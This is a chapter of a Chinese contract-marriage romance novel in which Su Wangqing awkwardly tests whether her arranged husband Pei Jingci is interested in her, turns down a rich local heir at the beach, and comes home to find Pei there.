电梯门在身后方合上,整层顶楼只有两间总统套房的走廊静的发沉。
暖白的灯光从天花板上漫下来,明明柔和,可落在冷色调大理石墙面上,却泛出一层凉薄的光。
风不知道从哪一丝缝隙钻进来,细弱无声,却带着清冽的薄荷香,缠在苏忘卿鼻尖,压的她连呼吸都不自觉放轻。
苏忘卿心脏一沉。
明明是特意跑出来躲清静,逍遥自在,怎么会偏偏在这里撞上裴景辞?
是巧合,还是……
她脑子里猝不及防闪过一个可怕的念头:裴景辞该不会……真的对她有意思吧?
所以特地跑来偶遇?
不会不会,她今天刷的是自己的卡,裴景辞不会知道她在苏城。
肯定是巧合。
但问题是,刚才她还傻乎乎把裴景辞当成陌生人,上前搭讪?
苏忘卿心跳狂跳,恨不得找个地缝钻进去。
而一旁的林铭月,也被这突如其来的场面惊的瞪大了眼睛。
林铭月的视线在冷冽的裴景辞和浑身僵硬的苏忘卿之间打了个转,飞快调整好表情,对着裴景辞礼貌点头,唇角扯出尴尬的笑:“裴先生好。”
接着赶紧拍拍苏忘卿肩膀:“那个,我突然想起有点事,先回房间了,你们聊。”
话音未落,林铭月脚底抹油般,快步走过二人身边,加快脚步走到靠走廊尽头的2502号房间门口,推开门,“砰”一声关上了房门。
眨眼之间,空旷的走廊里,就只剩下苏忘卿和裴景辞两个人。
苏忘卿:“……”
她长长的睫毛颤了颤,心跳越来越快,感觉分分钟就要从胸腔里跳出来一样。
却不得不强装镇定,硬着头皮抬眸,努力挤出一个乖巧的笑容,紧绷的声音透着生硬的客套:“裴,裴先生,好巧啊,还真的是你。”
不不不,巧不巧不重要,关键她现在只想赶紧结束对话,逃回房间,再也不要面对这种让人不安的场面。
苏忘卿心慌的要死,脸上却还要维持得体的笑容:“我就说……刚才的背影很眼熟。”
“太,太好了,这说明我们很有缘分,我和闺蜜出来旅游,都能碰到裴先生。”
短短的时间内,苏忘卿想到了一个可以解释刚才搭讪的理由:她作为喜欢裴景辞的裴太太,只是和闺蜜一起出来旅游,却恰好看到一个身影很像裴景辞的男人,那自然要主动打招呼了。
绝对不是搭讪陌生男人。
但问题是,如果裴景辞真的对她有意思的话……
该不会觉得她在刻意接近,反而对她更有意思……吧?
苏忘卿蹙了蹙眉。
她悄悄攥紧手里的手机,长长的睫毛垂落,遮住眼底的慌乱排斥,唇瓣紧紧抿着,脸颊发烫,眉眼僵硬弯了弯。
而裴景辞,将眼前女孩儿的反应尽收眼底。
苏忘卿今天穿着一身柔软的米白色连衣裙,长发松松披在肩头,小脸儿因疲惫和慌乱泛着淡淡的粉色,明亮的大眼睛满是依恋温顺。
如果忽略对方眼底那不易察觉的清冷疏离,可能会更真实些。
裴景辞深邃的眸,沉了几分。
男人深邃的眸底掠过一丝不易察觉的无奈,又很快收敛,恢复了平日里的淡漠。
跟着,裴景辞开口,声音低沉沉的:“嗯。”
一个字,轻描淡写,却让苏忘卿更加紧张。
嗯?
是什么意思?
是信了?
还是没信?
还是……他真的对她有意思?所以丝毫不觉得突兀?
不管怎么样,现在一定要赶快离开这里。
她现在真的不想看见裴景辞。
而且折腾了一天,她真的好累呀。
苏忘卿脑子飞速转动着。
怎么办?怎么办?
有了。
既然不确定裴景辞是否真的对她有意思,那不如将计就计。
趁这个机会好好试探他一次?
只要裴景辞推开她,就说明他的确不近女色。
可如果……
而且这样一来,也坐实了她刚才就是认出了裴景辞的背影,才会搭讪的事情。
完美。
于是苏忘卿心一横,往裴景辞身边一步一步走近。
但不同于之前单纯的试探,这一次,苏忘卿脚步发虚,浑身绷紧,忐忑的一点一点慢腾腾朝裴景辞走近。
裴景辞垂眸看着越来越近的苏忘卿,深邃的眸沉了沉,插在裤子口袋里的手暗暗攥紧。
而苏忘卿,眼瞅着马上就要走到裴景辞身边,他却不为所动,她只能硬着头皮再往前走了两步,直接站到男人面前。
顷刻间,二人距离近的苏忘卿只要一垫脚就能亲到裴景辞嘴唇。
男人身上好闻的清新气息也萦绕在鼻尖,清冽干净,裹着淡淡的薄荷香,好闻的让人想要继续靠近。
可苏忘卿心里想的却是:裴景辞怎么还不推开她?
是这个程度不够吗?
对上男人垂下来的探究的目光,苏忘卿胸口微微起伏,暗暗深呼吸一口气,仰起脸,努力装出乖顺模样,声音软软:“裴先生,我可以……抱抱你吗?”
本以为裴景辞会直接拒绝,立刻躲开,可谁知,眼前的男人居然还只是直直凝着她?
不为所动。
男人镜片后的眸光淡淡的,像结了层薄冰,身姿笔挺疏离。
却不拒绝?
苏忘卿手脚瞬间发凉。
她慌的攥紧了掌心,只能一狠心,试探着将纤细的手臂抬起,
“你,你不说话,我当你答应喽。”
“我真……抱啦?”
见男人还是沉默,只长长的睫毛极轻的眨动了一下,苏忘卿狠狠心,双臂僵硬拘谨的环住裴景辞的腰,脸颊虚虚贴在他胸口上。
全程,紧绷如弦,每一秒都在等他立刻推开自己。
呼……抱上了。
裴景辞……还不推开她?
苏忘卿更慌了。
却没发现,男人在被她抱住的那一刻,身体僵了一下。
而苏忘卿,随着时间往前不断推移,越发担心不已。
万一,万一裴景辞真对她……
不不不不,一定是力道还不够。
这才哪儿到哪儿?
慌乱之下,苏忘卿决定放大招。
她左手一点一点挪到男人胸膛上,指尖发颤的轻轻探入对方西装内侧,接着,掌心便贴上了男人温热紧实的胸膛上。
这力道,够了吧?
如果裴景辞还不推开她……
等等,裴景辞的胸膛好,好硬。
不是软软的肉,是结结实实的肌肉?
哪怕隔着薄薄的衬衫布料,都能清清楚楚感觉到男人胸膛上清晰流畅的纹理。
这个男人……这么有料的吗?
苏忘卿不自觉抓了抓。
手感好好。
鬼使神差的,她指尖蜷起后,又抓了抓。
随即,苏忘卿头顶却突然传来一道低沉的嗓音,
“好抓吗?”
闻言,苏忘卿浑身一僵。
一抬眸,就对上了裴景辞深邃浓郁的眸。
男人挺拔身姿仍旧冷硬紧绷,面上依旧一片清冷淡漠。
唯独镜片后的眸沉暗如夜,长长的睫毛垂落掩去大半情绪,却清楚的映着眼前女孩儿的样子。
苏忘卿被男人看的头皮发麻,心跳快的像是要跳出来了似的。
她她她,她刚才干了什么?
她原本不是想通过假装去抓裴景辞胸膛,好试探他来着,怎么成真抓了?
还不止抓了一次?
余光瞥到自己的掌心还在男人胸膛上,苏忘卿条件反射松开手,踉跄着后退一步,脸颊“轰”的一下子烧了起来。
“我,我……”
“我以为,”
眼前高大的男人却淡淡开口,打断了苏忘卿的话:“我和裴太太之间,是最好的合作关系。但现在看来,裴太太似乎……想打破这层平衡。”
苏忘卿一愣,茫然的看着裴景辞。
合作关系?打破平衡?
什么意思?
难道……
裴景辞之所以看出她假装喜欢他却还愿意配合,只是因为……合作关系?不想打破合作的平衡?
是了,只有她,不图裴景辞这个人。
如果换一个联姻对象,指不定对裴景辞打什么歪主意。
原来是这样?
想明白了这一点,苏忘卿顿时松了一口气。
她连忙扬起真情实意的灿烂笑容:“裴先生在说什么?我听不明白。那个……”
“很,很晚了,裴先生早点休息,晚安。”
说完不等裴景辞反应,苏忘卿转身就跑。
一口气冲到2502门口,她手忙脚乱刷卡推门,“砰”一声关上房门,后背紧紧贴在门板上,大口喘气,胸口剧烈起伏。
门外,走廊里。
裴景辞站在原地,看着不远处紧闭的房门,垂眸,看向自己的胸口,抬手碰了碰那里。
男人耳朵尖浮起来的一抹淡红还没褪,眸底却藏着极深的暗涌。
看来,对他的裴太太,不能操之过急。
须臾,男人转身,推开2501房门,大步流星走进去。
再拨通一个电话,待电话接通,裴景辞对着电话吩咐:“安排一下,半个小时后飞米国。”
另一边,走廊尽头2502号房间里。
苏忘卿靠在门板上,心脏还在狂跳,脸颊发烫,小手捂着胸口,大口呼吸。
林铭月从沙发上探出脑袋,看到苏忘卿,眼睛亮晶晶的,满是八卦的兴奋:“回来了?怎么样怎么样?你怎么跟你家裴总解释的?”
见苏忘卿表情不对,林铭月立刻凑过来,胳膊肘碰了碰她,笑的一脸狡黠:“有情况?快说,快说。”
苏忘卿:“……”
几分钟后,林铭月听的眼睛越睁越大,最后直接笑出声,捂着肚子弯了腰:“你主动抱他?还抓他?姐妹,你胆子也太大了吧。”
“话说,手感怎么样?”
苏忘卿捂脸,耳朵红的滴血:“手感很好,但重点是……他说……不希望我们打破合作平衡。”
“你说他是不是不是对我有意思,反而只是看出了我对他其实没想法,才会愿意让我继续做裴太太?我感觉是这样,你说呢?”
闻言,林铭月陷入了沉思:“是这样吗?”
“怎么感觉哪里好像不太对劲?”
苏忘卿:“哪里不对劲?”
林铭月摇摇头。
她也说不出个所以然来。
苏忘卿也没在意。
左右裴景辞都摆明了态度,只想维持合作关系,那她还有什么好纠结,好不安的?
“别想了,咱们研究下去海边怎么玩儿?”
“行啊。”
这一晚,苏忘卿睡的别提多踏实了。
尤其是,第二天一醒来,还看到裴景辞发来的定位:米国,加上一条微信:【五天后回海城。】,苏忘卿彻底放松下来。
这
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说明什么?
说明裴景辞也不想回别墅,不然不会说回海城了。
至于为什么主动告诉她自己的行程?
难道是为了更加贴合合作关系?
毕竟万一碰到裴家人,问她裴景辞在哪里,她回答不出来就很尴尬了。
于是礼尚往来,等苏忘卿到了海边,也给裴景辞发了定位,但没说什么时候回海城。
·
苏忘卿和林铭月抵达海边度假区时,正是黄昏最漂亮的时候。
金橘色的落日悬在海平线上,把整片海面染的温柔璀璨。
绵长的海岸线干净开阔,只有零星几拨人在不远处的沙滩上活动。
苏忘卿和林铭月沿着海边慢慢走着,晚风卷着淡淡的海盐气息拂过来,吹起她鬓角细碎的发丝。
气氛轻松又自在。
只是走着走着,
“我怎么感觉那群人在看我们?”
林铭月指着观景台方向,疑惑的拍拍苏忘卿肩膀。
苏忘卿顺着林铭月的手指看过去,便看到不远处,站着几个身形出众的年轻人。
其中一个男人尤为惹眼,一身简单的黑色休闲装,身形挺拔修长,眉眼生的极为出色。
鼻梁高挺,唇线利落,自带一种懒漫不羁的气质,却又不显轻佻,反倒透着一股子被人捧惯了的矜贵傲气。
这人是霍辞,当地出了名的闲散富二代,向来随心所欲,不爱拘束。
平日里要么窝在自己的海湾别墅里,要么四处随性游玩,身边从不缺主动靠近的人。
而霍辞的目光,从苏忘卿出现在海边那一刻,就凝在了她身上。
不远处的女孩儿眉眼干净,气质灵动,和身边的闺蜜说说笑笑,眼底全是不加掩饰的轻松惬意。
霍辞勾了勾唇。
无视周围同伴调侃的声音,径直迈步朝苏忘卿走过去。
不过几分钟,霍辞停在前行的苏忘卿面前,语气随意,却夹杂着一丝自然而然的笃定:“自我介绍下,霍辞,本地居民。”
“要不要……一起去旁边的海景清吧坐一坐?”
男人嗓音低沉悦耳,长相更是完全长在大众审美点上,眉眼矜贵不羁,气质出众极了。
苏忘卿下意识张了张嘴。
本想顺着话应下来,毕竟对方长相出众,她没理由拒绝。
可下一刻,苏忘卿脑子里猝不及防闪过裴景辞的声音:“我和裴太太之间,是最好的合作关系。”
苏忘卿到嘴边的话赶紧刹住闸。
合作平衡的安稳顶级咸鱼生活,可比一场没头没尾的艳遇重要的多。
她可不想因为一时兴起,平白无故惹出麻烦。
这么一想,苏忘卿眼底短暂的兴致瞬间褪去,取而代之的,是客气又疏离的浅淡笑意。
“不好意思,不方便。”
说完,苏忘卿也不管对方是什么反应,伸手拽了一把身边的林铭月,干脆利落的离开了。
林铭月被苏忘卿拽着走了几步,偏头看了一眼身后方,压低声音打趣:“可以啊你,这么干脆就拒了?我还以为你要聊两句呢。”
苏忘卿语气坦然:“想想500万,想想顶级咸鱼生活,一个帅哥算什么?”
“有道理。”
而二人身后方,霍辞站在原地,看着苏忘卿毫不留恋离开的背影,神色淡淡。
紧跟而来的几个朋友见状,纷纷笑着调侃:“没想到啊,咱们被人捧惯了的霍大少,居然还有被人干脆拒绝的时候?”
“我刚才都看呆了,这姑娘是真一点面子没给啊。”
众人你一言我一语,打趣不停。
霍辞没说话,漆黑的眸底掠过一丝浅淡的兴味。
“有意思。”
短暂的小插曲没在苏忘卿心底留下任何记忆。
二人在海边玩了一天,又去了芬兰看极光。
等回到海城,已经是半个月之后了。
“你确定你们家裴总不会回你们的婚房了?”
下飞机之前,林铭月好奇的问:“万一他……”
“没有万一。”
苏忘卿信誓旦旦打断了林铭月的话:“他一周前发给我的定位,是裴氏旗下的一个高档公寓。这说明什么?说明他去了公寓住。”
林铭月竖起了大拇指:“漂亮。”
苏忘卿惬意的挑了挑眉。
慢悠悠坐上车,回到半山的独栋豪宅别墅。
管家陈阿姨连忙笑眯眯上前接过行李:“太太可算回来了,这几天玩的尽兴吗?”
“特别尽兴。”
苏忘卿笑脚步轻快的踏上楼梯:“我先休息会儿,晚饭好了叫我。”
“好的,太太。”
苏忘卿哼着轻快的小调,坐上电梯。
下了电梯后,满心放松推开卧室门。
下一刻,苏忘卿脚步一顿,整个人定在原地。
只见一道高大挺拔的身影,正从浴室里缓步走出来。
男人身上只在腰间松松裹着一条白色浴巾,他腰腹劲瘦,冷白紧实的胸膛肌理分明,线条流畅利落,没有一点多余赘肉。
微湿的黑发凌乱搭在额前,水珠顺着男人修长的脖颈缓缓滑落,再顺着紧实胸膛蜿蜒而下,最后没入腰间的白色浴巾里。
许是摘下了眼镜的缘故,男人身上少了一丝西装革履的冷硬凌厉,却多了几分慵懒散漫的惑人气息。
肩宽腰窄,身形挺拔,每一寸线条,都极具冲击力。
苏忘卿呼吸一滞,满脑子只有一个念头:那什么,睡一次,会……影响合作关系吗?